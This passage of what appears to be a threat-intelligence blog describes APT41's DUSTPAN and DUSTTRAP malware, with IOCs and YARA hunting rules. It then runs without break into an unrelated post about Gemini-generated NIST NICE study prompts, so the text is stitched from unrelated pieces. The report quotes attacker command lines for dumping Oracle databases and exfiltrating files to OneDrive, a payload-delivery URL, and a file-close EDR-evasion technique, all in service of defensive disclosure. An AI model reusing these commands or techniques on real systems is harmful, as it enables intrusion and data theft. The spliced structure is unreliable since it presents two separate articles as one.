Previously used by APT41 in several 2021 and 2022 breaches, DUSTPAN resurfaced in a recent investigation. This time, APT41 disguised DUSTPAN as a Windows binary by executing the malicious file as w3wp.exe or conn.exe. Additionally, the DUSTPAN samples were made persistent via Windows services; for example, one of the services was called Windows Defend.

The DUSTPAN samples were configured to load BEACON payloads into memory that were encrypted using chacha20. The BEACON payloads, once executed, communicated using either self-managed infrastructure hosted behind Cloudflare or utilized Cloudflare Workers as their command-and-control (C2) channels. BEACON configuration can be found in the Indicators of Compromise section.

DUSTTRAP

DUSTTRAP is a multi-stage plugin framework with multiple components. DUSTTRAP begins with a launcher (Stage 1) that AES-128-CFB decrypts an encrypted on-disk PE file <varies>.dll.mui and executes it in memory. Decryption relies on the target machine's HKLM\SOFTWARE\Microsoft\Cryptography\MachineGUID, thereby keying the launcher to the victim system. The decrypted PE from the launcher is a memory-only dropper (Stage 2) that is responsible for decrypting an embedded configuration and two or more embedded plugin dynamic-link libraries (DLLs) from its .lrsrc section. Once executed, these DLLs begin the setup of the modular plugin system. The first observed plugin (Stage 3) is responsible for low-level network setup and encryption. The second observed plugin (Stage 4) is responsible for higher-level network operations and may function as a downloader for additional plugins that, when loaded, may register themselves with prior components in the execution chain for additional functionality. We've observed the second plugin to vary in functionality and more plugin variants likely exist. 

Plugin loading is performed by trojanizing a legitimate system DLL from %windir% with a sufficiently large .text section to hold the contents of each plugin. To trojanize the target DLL, the dropper will generate a new file on disk at %windir%\Microsoft.NET\assembly\GAC_MSIL\System.Data.Trace\
v4.0_4.0.0.0__b0<hex_uuid>\<original_module_name>.dll or %programdata%\Microsoft.NET\System.Data.Trace\v4.0_4.0.0.0__b0<hex_uuid>\<original_module_name>.dll. The malicious plugin code is only present in the .text section of this file long enough to call ZwCreateSection, loading the trojanized malicious plugin code into memory. Before the trojanized file is closed, the original contents of the .text section are restored on disk. This is an evasion technique that will bypass endpoint detection and response (EDR) solutions that scan for malicious contents on file close. The malicious code may therefore not be present in the file depending on when it was quarantined. During the trojanization process, the system time may be written to a log file at <filetime>.log and acquire the mutex ICMzUEkdLNayBdWF, though mutex names will likely vary from host to host.

The following legitimate DLLs are blocklisted from being trojanized:

cfgmgr32.dll combase.dll cryptbase.dll cryptsp.dll dhcpcsvc.dll dhcpcsvc6.dll dnsapi.dll FWPUCLNT.DLL gdi32.dll gdi32full.dll iertutil.dll imm32.dll IPHLPAPI.DLL kernel.appcore.dll kernel32.dll KernelBase.dll locale.nls msvcp_win.dll msvcrt.dll mswsock.dll NapiNSP.dll nlaapi.dll nsi.dll ntdll.dll ntmarta.dll oleaut32.dll OnDemandConnRouteHelper.dll pnrpnsp.dll powrprof.dll advapi32.dll apphelp.dll bcrypt.dll bcryptprimitives.dll profapi.dll rasadhlp.dll rpcrt4.dll rsaenh.dll sechost.dll SHCore.dll shell32.dll shlwapi.dll sspicli.dll ucrtbase.dll urlmon.dll user32.dll userenv.dll webio.dll win32u.dll windows.storage.dll winhttp.dll wininet.dll winnlsres.dll winnsi.dll winrnr.dll winsta.dll ws2_32.dll wshbth.dll Wtsapi32.dll

The section objects created by the Stage 2 dropper for each trojanized plugin are appended to a linked list in the droppers process and executed in memory. The dropper and each plugin perform a registration process with each other so that stages 2, 3, and 4 rely on each other and cooperatively call into and out of each other to handle the operation each is responsible for. Execution between all of these components is accomplished via Windows fiber-based task event loop driven by Stage 2. Additional plugins may be registered and executed via this plugin framework.

We've observed at least 15 plugins with the higher-level themes of:

• Shell Operations
  • Executing processes via cmd.exe
• File System Operations
  • Directory enumeration
  • Changing directory
  • Delete file
  • Create directory
  • Copy file
  • Move file
  • File exists
  • Change file timestamp
  • List attached drives
• Process Operations
  • Enumerate running processes
  • Inject shellcode
  • Kill a process
• Network Probing
  • Ping a remote host
  • Attempt connections on port
• Network Store Interface Operations
  • Get network interface statistics
• Screen Operations
  • Get screen size
  • Screenshot
• System Information Survey
  • List RDP sessions
  • List installed security software
  • Get system info
  • List user accounts
  • Get system boot time
  • Enumerate hidden and visible process windows
• File Manipulation Operations
  • Open file
  • Write file
  • CRC32 file content
  • Read file
  • Close file
• Keylogger
  • Activate 
  • Delete log
• Active Directory Operations
  • Enumerate domain controller information
  • Add user
  • Delete user
  • Get server configuration
  • Get server shares
  • Get detailed server and workstation domain information
  • Enumerate servers
  • Get list of services
  • Get list of network shares
  • Add network share
  • Disconnect network share
  • Get list of users
  • Set user password
• File Uploader
  • Upload file resident on disk
• RDP
  • Enumerate remote desktop sessions
• DNS Operations
  • Perform DNS lookups
• DNS Cache Operations
  • Retrieves DNS cache table operations
• Registry Operations
  • Get registry value
  • Dump registry path and children to disk
  • Set registry value
  • Delete registry value

Figure 3: Full execution flow of DUSTTRAP

SQLULDR2

SQLULDR2 is a command-line utility written in C/C++ that can be used to export the contents of a remote Oracle database to a local text-based file. There are multiple command-line parameters available to specify the details of the data export including but not limited to: query, user, rows, and text.

APT41 exported data from Oracle Databases to CSV formats with the following command:

C:\ProgramData\luldr\luldr\sqluldr.exe user=<USER>@<SYSTEM>:1521/ <DATABASE> charset=utf8 safe=yes head=yes text=csv rows=50000000 batch=yes query=<SQL QUERY> file=<OUTPUT>.csv

Figure 4: Command line execution for SQLULDR2

PINEGROVE

During the intrusion, Mandiant observed APT41 leveraging PINEGROVE for their data exfiltration. PINEGROVE is a command-line uploader written in Go with functionality to collect and upload a file to OneDrive via the OneDrive API. PINEGROVE expects an authentication JSON file including relevant OneDrive credentials and the target file to upload.

C:\Programdata\One.exe -c C:\ProgramData\auth.json -s <Filename>

Figure 5: Command line execution for PINEGROVE

PINEGROVE is a publicly available tool and has been made available on Github.

Code Signing Certificates

The DUSTTRAP malware and its associated components that were observed during the intrusion were code signed with presumably stolen code signing certificates. One of the code signing certificates seemed to be related to a South Korean company operating in the gaming industry sector.

Serial Number: 6f:97:f1:3d:a5:5e:9f:70:a6:92:7e:d1:b3:3e:ee:ee Signature Algorithm: sha256WithRSAEncryption Issuer: C = US, O = "thawte, Inc.", CN = thawte SHA256 Code Signing CA Validity Not Before: Feb 21 00:00:00 2019 GMT Not After : Apr 21 23:59:59 2022 GMT Subject: C = KR, ST = SEOUL, L = Gangnam-gu, O = CCR INC, OU = IT Team, CN = CCR INC

Figure 6: Code signing certificate abused by APT41

Serial Number: 05:fa:8a:72:da:46:07:4f:de:1e:34:c7:46:61:ee:00 Signature Algorithm: sha256WithRSAEncryption Issuer: C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert SHA2 Assured ID Code Signing CA Validity Not Before: Jul 15 00:00:00 2020 GMT Not After : Aug 31 12:00:00 2022 GMT Subject: C = RU, L = Moscow, O = OOO ALEAN-TOUR, CN = OOO ALEAN-TOUR

Figure 7: Code signing certificate abused by APT41

Additionally, Mandiant observed an additional DUSTTRAP sample on VirusTotal that was code signed with a certificate from another South Korean gaming company. This same certificate was previously observed by Mandiant in 2020 being used by UNC3914, which is suspected to be another Chinese-nexus threat actor. Note that neither Mandiant nor TAG see any direct relation between UNC3914 and APT41 at the time of writing.

Serial Number: 0a:2c:bf:9b:18:fe:1b:20:b9:4e:ca:c4:b0:78:b8:c1 Signature Algorithm: sha256WithRSAEncryption Issuer: C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert SHA2 Assured ID Code Signing CA Validity Not Before: Nov 12 00:00:00 2020 GMT Not After : Jan 17 23:59:59 2023 GMT Subject: C = KR, ST = Seoul, L = Gangnam-gu, O = Gala Lab Corp., CN = Gala Lab Corp.

Figure 8: Code signing certificate abused by APT41

The use of the code signing certificate, as well as its suspected owners being companies in the gaming sector, aligns with APT41's tactics, techniques, and procedures (TTPs) and past campaigns. More details about this can be found in our APT41 report. 

Acknowledgement

We would like to thank Google’s TAG, our Incident Response consultants and FLARE who enabled this research. Additionally, we want to thank Mnemonic for reaching out to Mandiant to share their observations.

MITRE ATT&CK

TACTIC

ID

Name

Description

Reconnaissance

T15931.002

Search Open Websites/Domains: Search Engines

APT41 was observed using search engines in visiting victim's reachable servers.

Reconnaissance

T1594

Search Victim-Owned Websites

APT41 was observed visiting victim-owned infrastructure that was externally reachable and observed in internet scan data.

Collection

T1560.001

Archive via Utility

APT41 was observed using rar to compress the data they downloaded from internal Oracle Databases.

Command and Control

T1071.001

Web Protocols

APT41 was observed using HTTPS for the communication as C2 for their malware.

Exfiltration

T1567.002

Exfiltration to Cloud Storage

APT41 was observed using OneDrive for the exfiltration of staged data.

Persistence

T1543.003

Create or Modify System Process: Windows Service

APT41 was observed creating a Windows Service to achieve persistency

Persistence

T1574.001

DLL Search Order Hijacking

APT41 abused DLL search order hijacking to execute DUSTTRAP by using benign and malicious code-signed Windows binaries.

Persistence

T1574.002

DLL Side-Loading

APT41 abused DLL sideloading to execute DUSTTRAP by using the AhnLab uninstaller.

Defense Evasion

T1070.004

File Deletion

APT41 deleted files from the system after they were done using them. This was observed after APT41 created database dumps and exfiltrated the files.

Defense Evasion

T1036.005

Match Legitimate Name or Location

APT41 used legitimate Windows names and locations to trojanize binaries

Defense Evasion

T1027.013

Encrypted/Encoded File

APT41 leveraged AES-128-CFB for the encryption of the payloads that should be loaded by DUSTTRAP.

Persistence

T1505.003

Server Software Component: Web Shell

APT41 was observed using web shells to drop and execute DUSTPAN.

Execution

T1569.002

Service Execution

APT41 was observed using Windows services to execute DUSTPAN binaries.

Indicators of Compromise

A GTI Collection is available for all the samples that are publicly available. 

Host-Based Indicators

Filename

MD5

Family

sqluldr.exe

fcff642268898fcf65702a214aefbf9e

SQLULDR2

OneDriveUploader.exe

ac125aea0b703de37980779599438b4a

PINEGROVE

aclui.dll

17d0ada8f5610ff29f2e8eaf0e3bb578

DUSTPAN

dbgeng.dll

9991ce9d2746313f505dbf0487337082

DUSTTRAP

dbgeng.dll

c33247bc3e7e8cb72133e47930e6ddad

DUSTTRAP

hostfxr.dll

cfce85548436fb89a83bf34dc17f325d

DUSTTRAP

dbgeng.dll

e98b9e21928252332edf934f3d18ac21

DUSTTRAP

dbgeng.dll

8222352a61eacca3a1c6517956aa0b55

DUSTTRAP

-

dc725f5e9b1ae062fbec86ee4d816b45

DUSTTRAP

Sbiedll.dll

d72f202c1d684c9a19f075290a60920f

DUSTTRAP

atstrust.dll

393065ef9754e3f39b24b2d1051eab61

DUSTTRAP

-

0e74285f3359393e57f5d49c156aca47

DUSTTRAP

conn.exe

35f650c94faf6a2068e8238dd99edbea

DUSTPAN

PrintWorkflowUserSvc_
a0c15f9d.dll / cbi.dll

3bb44c0dd7f424864d76d4df09538cb6

DUSTPAN

dbgeng.dll

aca5c6daecf463012a09564764584937

DUSTTRAP

-

336a0d6f8cc92bf9740ce17de600463b

DUSTTRAP

-

6bc4a92ff4d2cfc9da91ae6a5d2ad3d5

DUSTTRAP

-

a689e182fe33b9d564dddc35412ea0a7

DUSTTRAP

-

e4a4aafb49b8c86a5ac087ae342c0ee6

DUSTTRAP

-

e584119a4766e6cf49093c666965c8be

DUSTTRAP

-

f1769ad5a9dc44794895275c656ed484

DUSTTRAP

Network-Based Indicators

Value

Family

Comment

ns2[.]akacur[.]tk

BEACON

-

ns1[.]akacur[.]tk

BEACON

-

orange-breeze-66bb[.]tezsfsoikdvd[.]workers[.]dev

BEACON

-

www[.]eloples[.]com

DUSTTRAP

First observed at 2024-02-21Last observed at 2024-07-16

95.164.16[.]231

-

Related to DUSTTRAP FQDN www[.]eloples[.]com

152.89.244[.]185

-

Used to deliver DUSTPAN

First activity observed at 2023-03-21

hxxp://152.89.244[.]185/conn.exe

-

Used to deliver DUSTPAN

First activity observed at 2023-03-21

YARA and YARA-L Rules YARA rule M_Hunting_Certificate_Gala_lab_corp { meta: author = "Mandiant" description = "Rule looks for PEs signed using likely stolen certificate issued for Gala Lab corp" disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $org = "Gala Lab Corp." $serial = { 0A 2C BF 9B 18 FE 1B 20 B9 4E CA C4 B0 78 B8 C1 } condition: ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0xE011CFD0 and uint32(4) == 0xE11AB1A1)) and #org > 1 and $serial } rule M_Hunting_Certificate_CCR_INC { meta: author = "Mandiant" description = "Rule looks for PEs signed using likely stolen certificate issued for CCR INC" disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $org = "CCR INC" $serial = { 6F 97 F1 3D A5 5E 9F 70 A6 92 7E D1 B3 3E EE EE } condition: ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0xE011CFD0 and uint32(4) == 0xE11AB1A1)) and #org > 1 and $serial } rule M_Hunting_Certificate_ALEAN_TOUR { meta: author = "Mandiant" description = "Rule looks for PEs signed using likely stolen certificate issued for ALEAN-TOUR" disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $org = "OOO ALEAN-TOUR" $serial = { 05 FA 8A 72 DA 46 07 4F DE 1E 34 C7 46 61 EE 00 } condition: ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0xE011CFD0 and uint32(4) == 0xE11AB1A1)) and #org > 1 and $serial } rule M_Hunting_Uploader_PINEGROVE_1 { meta: author = "Mandiant" description = "Hunting for PINEGROVE uploader malware family." disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $s1 = "Config: `%v`" ascii $s2 = "auth.json" ascii $s3 = "sp=%v%v%x" ascii $s4 = "Time: %v" ascii $s5 = "/me/drive/root" ascii $s6 = "OneDrive" ascii fullword $s7 = "microsoft.graph.driveItemUploadableProperties" ascii $s8 = "client_id=%v&client_secret=%v" ascii $s9 = "http://localhost/onedrive-login" ascii condition: ( ((uint32(0) == 0xcafebabe) or (uint32(0) == 0xfeedface) or (uint32(0) == 0xfeedfacf) or (uint32(0) == 0xbebafeca) or (uint32(0) == 0xcefaedfe) or (uint32(0) == 0xcffaedfe)) or (uint32(0) == 0x464c457f) or (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) ) and (6 of them) } rule M_Hunting_Uploader_PINEGROVE_2 { meta: author = "Mandiant" description = "Hunting for PINEGROVE uploader malware family." disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $f1 = "main.AllFiles" ascii $f2 = "main.Collect" ascii $f3 = "main.ConfigInit" ascii $f4 = "main.ConfigRead" ascii $f5 = "main.ConfigSave" ascii $f6 = "main.ConfigUpdate" ascii $f7 = "main.Exit" ascii $f8 = "main.FileRange" ascii $f9 = "main.FileReader" ascii $f10 = "main.FileStatus" ascii $f11 = "main.FormatRemoteFilePath" ascii $f12 = "main.GetFileName" ascii $f13 = "main.GetReomtePath" ascii $f14 = "main.Header" ascii $f15 = "main.init.0" ascii $f16 = "main.InitFile" ascii $f17 = "main.IsFolder" ascii $f18 = "main.main" ascii $f19 = "main.PreLoad" ascii $f20 = "main.Range2Int" ascii $f21 = "main.RemainTime" ascii $f22 = "main.SessionCreate" ascii $f23 = "main.ShowBar" ascii $f24 = "main.StringChecker" ascii $f25 = "main.Task" ascii $f26 = "main.TaskFail" ascii $f27 = "main.ThreadUpload" ascii $f28 = "main.Timer" ascii $f29 = "main.TimeUnix" ascii $f30 = "main.Upload" ascii $f31 = "main.Upload.func1" ascii $f32 = "main.Uploading" ascii $version = "go1.13.1" condition: ( ((uint32(0) == 0xcafebabe) or (uint32(0) == 0xfeedface) or (uint32(0) == 0xfeedfacf) or (uint32(0) == 0xbebafeca) or (uint32(0) == 0xcefaedfe) or (uint32(0) == 0xcffaedfe)) or (uint32(0) == 0x464c457f) or (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) ) and $version and (25 of ($f*)) } rule M_Hunting_Uploader_PINEGROVE_3 { meta: author = "Mandiant" description = "Hunting for PINEGROVE uploader malware family." disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $s1 = "RefreshToken" $s2 = "RefreshInterval" $s3 = "ThreadNum" $s4 = "BlockSize" $s5 = "SigleFile" $s6 = "MainLand" $s7 = "MSAccount" $anchor1 = "driveItemUploadableProperties" $anchor2 = "client_id" $anchor3 = "client_secret" $anchor4 = "onedrive-login" $anchor5 = "authorization_code" condition: ( ((uint32(0) == 0xcafebabe) or (uint32(0) == 0xfeedface) or (uint32(0) == 0xfeedfacf) or (uint32(0) == 0xbebafeca) or (uint32(0) == 0xcefaedfe) or (uint32(0) == 0xcffaedfe)) or (uint32(0) == 0x464c457f) or (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) ) and (5 of ($s*)) and (4 of ($anchor*)) } import "elf" rule M_Hunting_Utility_Linux_SQLULDR2_1 { meta: author = "Mandiant" description = "Detection of the Linux version of SQLULDR2." disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $name = "sqluldr2zip.c" ascii $out = "uldrdata.%p.txt" ascii $heading = "SQL*UnLoader: Fast Oracle Text Unloader" ascii $p1 = "exec = the command to execute the SQLs" ascii $p2 = "file = output file name(default: uldrdata.txt)" ascii $p3 = "format = MYSQL: MySQL Insert SQLs, SQL: Insert SQLs" ascii $p4 = "text = output type (MYSQL, CSV, MYSQLINS, ORACLEINS, FORM, SEARCH)" ascii $p5 = "rows = print progress for every given rows (default, 1000000)" ascii $p6 = "query = select statement" ascii $p7 = "user = username/password@tnsname" ascii condition: (uint32(0) == 0x464c457f) and $name and $out and $heading and (5 of ($p*)) and for any i in (0 .. elf.symtab_entries): (elf.symtab[i].name == "OCIServerAttach") and for any i in (0 .. elf.symtab_entries): (elf.symtab[i].name == "OCISessionBegin") } import "pe" import "elf" rule M_Hunting_Utility_SQLULDR2_1 { meta: author = "Mandiant" description = "Detection of SQLULDR2." disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $win_name = "sqluldr2.exe" ascii $elf_name = "sqluldr2zip.c" ascii $out = "uldrdata.%p.txt" ascii $heading = "SQL*UnLoader: Fast Oracle Text Unloader" ascii $p1 = "exec = the command to execute the SQLs" ascii $p2 = "file = output file name(default: uldrdata.txt)" ascii $p3 = "format = MYSQL: MySQL Insert SQLs, SQL: Insert SQLs" ascii $p4 = "text = output type (MYSQL, CSV, MYSQLINS, ORACLEINS, FORM, SEARCH)" ascii $p5 = "rows = print progress for every given rows (default, 1000000)" ascii $p6 = "query = select statement" ascii $p7 = "user = username/password@tnsname" ascii $import = "OCI.dll" ascii condition: (((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and pe.imports("OCI.dll","OCIServerAttach") and pe.imports("OCI.dll","OCISessionBegin") and $import and $win_name and for all of ($p*) : ( @ > @heading )) or ((uint32(0) == 0x464c457f) and $elf_name and for any i in (0 .. elf.symtab_entries): (elf.symtab[i].name == "OCIServerAttach") and for any i in (0 .. elf.symtab_entries): (elf.symtab[i].name == "OCISessionBegin"))) and $out and $heading and (5 of ($p*)) } rule M_Hunting_Dropper_DUSTTRAP_1 { meta: author = "Mandiant" description = "Detects the DUSTTRAP dropper (x64) based on the use of CFG patching constants and argument construction for payload entry-point" disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $cfg_patch_constant_1 = { 48 FF E0 CC 90 } $cfg_patch_constant_2 = { 8B DA 48 8B F9 E8 } $cfg_patch_constant_3 = { B8 48 8B 00 00 66 39 02 } $cfg_patch_constant_4 = { 81 7A 07 48 8B D1 48 } $log_format = "%lld.log" wide condition: uint16(0) == 0x5a4d and all of ($cfg_patch_constant_*) and $log_format } import "pe" rule M_Hunting_DUSTPAN_CryptKeys { meta: author = "Mandiant" description = "Attempts to detect executables containing known DUSTPAN encryption keys within the .data section" disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." strings: $key_1 = {3BCF741BF6411C087415BA340000004C8D05F28 C0000488B4910E801F0FEFFB8} $key_2 = {C4498BD6488BCFE848A5000084C07564488BCFE 8585C0000498B0F4C8B497045} $key_3 = {A24299055F1F0C14CBDD0B01DFA64C34F5FD033 CA7F1AF30A0C75C57359D41E0} condition: filesize < 15MB and for any i in (0..pe.number_of_sections - 1): ( pe.sections[i].name == ".data" and any of ($key_*) in (pe.sections[i].raw_data_offset.. pe.sections[i].raw_data_offset + pe.sections[i].raw_data_size) ) } import "pe" rule M_HUNTING_DUSTTRAP_PayloadFile { meta: author = "Mandiant" description = "Detects executables containing a .lrsrc section which may represent DUSTTRAP payloads" disclaimer = "This rule is meant for hunting and is not tested to run in a production environment." condition: for any i in (0..pe.number_of_sections - 1): ( uint32(pe.sections[i].raw_data_offset + 0) == 0x100 and pe.sections[i].raw_data_size > uint32 (pe.sections[i].raw_data_offset + 0) and pe.sections[i].name == ".lrsrc" and uint32(pe.sections[i].raw_data_offset + 4) < 0x1000 and uint32(pe.sections[i].raw_data_offset + 8) < 4 ) } YARA-L

If you are a Google SecOps Enterprise+ customer, rules were released to your Emerging Threats rule pack, and IOCs listed in this blog post are available for prioritization with Applied Threat Intelligence.  

Relevant Rules

• WinRAR Command Line CSV to RAR
• SQLULDR2 Process Launch
• DUSTTRAP Process Execution and Command and Control
• DUSTTRAP Dropping Multiple Utilities
• DUSTTRAP Spawning Actions on Objectives Processes
• Suspected DUSTTRAP Command and Control via Google API
• Suspected Stolen Code Signing Certificate (CCR Inc)

Written by: Jake Liefer

 

In the ever-evolving landscape of cybersecurity, staying ahead of threats demands continuous learning and skill development. The NIST NICE framework provides a roadmap, but mastering its extensive tasks, knowledge, and skills (TKSs) can be daunting. That's where the power of artificial intelligence (AI) comes in.

We've leveraged Google Gemini AI to create a revolutionary solution: a comprehensive library of over 6,000 prompts designed to guide you through the NICE framework. These AI-powered prompts offer a dynamic and personalized learning experience, accelerating your journey to cybersecurity expertise.

In this blog post, we'll explore the NIST NICE framework in detail, delve into the art of prompt engineering, and share how we harnessed the power of Google Gemini AI to build this valuable resource. Whether you're a seasoned cybersecurity veteran or just starting your journey, this guide will provide you with the tools and insights you need to engage with large language models (LLMs) for a dynamic learning experience.

The NIST NICE Framework: Your Blueprint for Cybersecurity Success

The National Initiative for Cybersecurity Education (NICE) framework, developed by the National Institute of Standards and Technology (NIST), serves as the cornerstone of cybersecurity education and workforce development. 

At its core, the NICE framework provides a common language and taxonomy for describing cybersecurity work. Each role is mapped to specific TKSs necessary for successful responsibilities. By mapping out these competencies, the NICE framework helps individuals identify career paths, employers define job requirements, and training providers develop targeted curricula.

But the NICE framework isn't just about job descriptions and training programs. It's about building a robust and adaptable cybersecurity workforce capable of meeting the dynamic challenges of the digital age. By aligning your skillset with the NICE framework, you're not only investing in your own career advancement but also contributing to the collective defense against cyber threats.

Whether you're aspiring to become a security analyst, penetration tester, incident responder, or any other cybersecurity role, understanding and embracing the NICE framework is essential. It provides a roadmap for your professional development, highlighting the knowledge and skills you need to acquire to succeed in your chosen path. In the following sections, we'll explore how AI-powered prompts can help you navigate this roadmap and accelerate your mastery of the essential competencies outlined in the NICE framework.

Prompt Engineering: Unleashing the Power of LLMs for Cybersecurity Learning

In the realm of artificial intelligence, LLMs like Google Gemini have emerged as powerful tools capable of understanding and generating human-like text. At the heart of harnessing this power lies the art of prompt engineering. But what exactly is a prompt, and why is it so crucial for cybersecurity learning?

In simple terms, a prompt is the input you provide to an LLM to guide its response. Think of it as a question, a scenario, or a task that you present to the AI. The quality and specificity of your prompt directly influence the quality and relevance of the LLM's output.

In the context of cybersecurity, well-crafted prompts are the key to unlocking the full potential of LLMs for learning and skill development, especially when aligned with the NIST NICE framework. They can:

• Pinpoint Knowledge Gaps and Focus Areas: By reviewing the TKSs for your current role and desired role, you can identify areas where you need to upskill. Prompts can then be tailored to focus on those specific areas, ensuring efficient and targeted learning.
• Develop Specific Skills and Knowledge: Prompts can be designed to address specific TKSs within the NICE framework, such as "risk analysis" or "incident response." This targeted approach allows for deep dives into the exact skills you need to develop.
• Create Realistic Job Scenarios: Prompts can simulate the day-to-day tasks and challenges you'll face in your target role, providing a practical understanding of how the TKSs are applied in real-world situations. This can help you prepare for new responsibilities and advance your career.
• Facilitate Personalized Learning Plans: Based on your individual needs and career goals, LLMs can generate personalized learning paths that focus on the most relevant TKSs. This ensures that you're not wasting time on irrelevant information and can progress efficiently towards your goals.

There are several types of prompts you can use to enhance your cybersecurity learning:

• Conceptual prompts: These prompts challenge your understanding of fundamental cybersecurity concepts, such as encryption, authentication, or risk management, and how they relate to specific NICE TKSs.
• Scenario-based prompts: These prompts put you in the shoes of a cybersecurity professional facing a real-world challenge aligned with a particular TKS, such as responding to a data breach or investigating suspicious network activity.
• Knowledge-check prompts: These prompts test your knowledge of specific TKSs within the NICE framework, helping you gauge your progress and identify areas for further study.

By incorporating diverse prompts aligned with the NICE framework into your learning routine, you can create a focused and efficient learning experience that directly translates to career advancement. In the next section, we'll explore how we used Google Gemini AI to create a comprehensive library of prompts specifically designed to help you master the NICE framework.

Building Your Cybersecurity Arsenal with Google Gemini AI

Google Gemini, a state-of-the-art large language model, isn't just a tool for generating text; it's a powerful ally in your journey to cybersecurity mastery. With its advanced capabilities in natural language understanding and generation, Gemini is uniquely suited for crafting prompts that align perfectly with the NIST NICE framework and accelerate your skill development.

Our Methodology:

Creating a comprehensive library of over 6,000 prompts was made efficient and effective by leveraging the structured nature of the NICE framework and the power of Google Gemini within the AI Studio environment. Here's a detailed breakdown of our streamlined process:

1. TKS Identification and Extraction: We began by extracting the unique Task, Knowledge, Skill (TKS) statement IDs and their corresponding descriptions directly from the NICE framework. These served as the foundational building blocks for our prompt generation process.
2. Prompt Generation with Gemini in AI Studio: Within AI Studio, we harnessed Google Gemini's language generation prowess to create a wide variety of prompts based on the extracted TKS IDs and descriptions. Specifically, we crafted three distinct types of prompts for each TKS:
   
   • Conceptual prompts: These are designed to challenge your understanding of the core concepts embedded within the TKS.
   • Scenario-based prompts: These immerse you in realistic situations where the TKS is applied, bridging theory and practice.
   • Knowledge-check prompts: These test your grasp of the specific knowledge outlined in the TKS.

   By utilizing the TKS ID and description as direct input, we ensured that each generated prompt was
   precisely aligned with the corresponding competency within the NICE framework.

1. Structured Organization and Output withinAI Studio: Leveraging the table formatting capabilities of Google AI Studio, we organized our prompts and their corresponding outputs in a structured table format. This format included columns for TKS ID, TKS Description, Conceptual Prompt, Scenario-Based Prompt, and Knowledge Check Prompt. This streamlined approach allowed for easy review, analysis, and direct export into Google Sheets for further management and refinement of our comprehensive prompt library.

Your AI-Powered Cybersecurity Toolkit: Unveiled!

We are thrilled to announce the release of our meticulously crafted library of NIST NICE-aligned prompts. In a groundbreaking move to democratize cybersecurity education, we're making this invaluable resource freely available to the entire cybersecurity community.

Here, you'll find a glimpse of the treasure trove of prompts that await you:

TKS ID

TKS Description

Conceptual Prompt

Scenario-Based Prompt

Knowledge Check Prompt

K0833

Knowledge of cyberattack actor characteristics

"Identify different types of cyberattack actors, such as nation-states, cyber criminals, and hacktivists.”

"A sophisticated cyberattack is attributed to a state-sponsored actor. Describe the typical characteristics and motivations of this type of attacker."

"Compare and contrast the motives and methods of hacktivists and cybercriminals.”

aside_block

<ListValue: [StructValue([('title', 'Google Gemini AI Prompts'), ('body', <wagtail.rich_text.RichText object at 0x3e1df929b220>), ('btn_text', 'Get the prompts!'), ('href', 'https://docs.google.com/spreadsheets/u/1/d/e/2PACX-1vQBzljgM47QnO9F8iE33DkvQ96Ow5jNG01y7mxkDgZl0NEMEwsDBhFErI1rMz3GaysLZb2hNXAO4k2y/pubhtml#'), ('image', None)])]>

By harnessing the power of this AI-driven resource, you can take control of your cybersecurity learning journey. Explore the prompts, challenge yourself, and discover new ways to strengthen your expertise.

Take Action: Elevate Your Cybersecurity Expertise with AI

Congratulations! You now have access to a treasure trove of AI-powered prompts designed to accelerate your mastery of the NIST NICE framework. But how can you effectively incorporate these prompts into your daily learning routine? Here are some practical tips and strategies:

1. Identify Your Goals: Start by clearly defining your learning objectives. Are you aiming to strengthen your knowledge in a specific NICE category or specialty area? Are you preparing for a certification exam or a career transition? Once you know your goals, you can select the most relevant prompts to focus on.
2. Integrate Prompts into Your Daily Routine: Set aside dedicated time each day to engage with the prompts. You can use them as a warm-up exercise before diving into other learning materials, as a way to test your knowledge after studying, or as a creative spark to brainstorm new ideas.
3. Experiment with Different Learning Styles: The beauty of prompts is their versatility. You can use them for solo study, group discussions, or even as a basis for creating presentations or training materials. Don't be afraid to experiment and find what works best for you.
4. Embrace the Interactive Nature of AI: Large language models like Google Gemini are designed to engage in dialogue. Ask follow-up questions, challenge the AI's responses, and use the prompts as a springboard for deeper exploration of the topics at hand.
5. Track Your Progress: As you work through the prompts, keep track of your responses, insights, and any questions that arise. This will help you monitor your progress, identify areas for further improvement, and measure the impact of your AI-powered learning journey.

The NIST NICE Framework and Security-Specific LLMs

The NIST NICE framework, beyond serving as a guide for human professionals, is also a valuable tool in the development of security-specific LLM agents. The framework's structured knowledge and comprehensive categorization of tasks provide a rich resource for training and building tuned agents. By aligning LLMs to particular TKS statements within the NICE framework, developers focus the models' understanding of cybersecurity concepts, terminology, and real-world scenarios.

The granular nature of TKS statements within the NICE framework makes them ideal to focus AI agents for specific cybersecurity tasks. For example, TKS statements related to "risk analysis" or "incident response" can be used to focus agents that specialize in these areas. By tailoring prompts to specific TKSs, we can create AI agents that are highly proficient in performing their assigned tasks and capable of providing valuable insights and recommendations to human analysts.

Additionally, when paired with a tuned model, such as Google's SecLM, the outputs will be further aligned to the daily needs of cybersecurity practitioners. By training on a massive corpus of security-related data, including information aligned with the NICE framework, SecLM has developed a sophisticated understanding of security threats, vulnerabilities, and mitigation strategies. This enables SecLM to perform a wide range of tasks, from threat detection and analysis to code review and security policy generation.

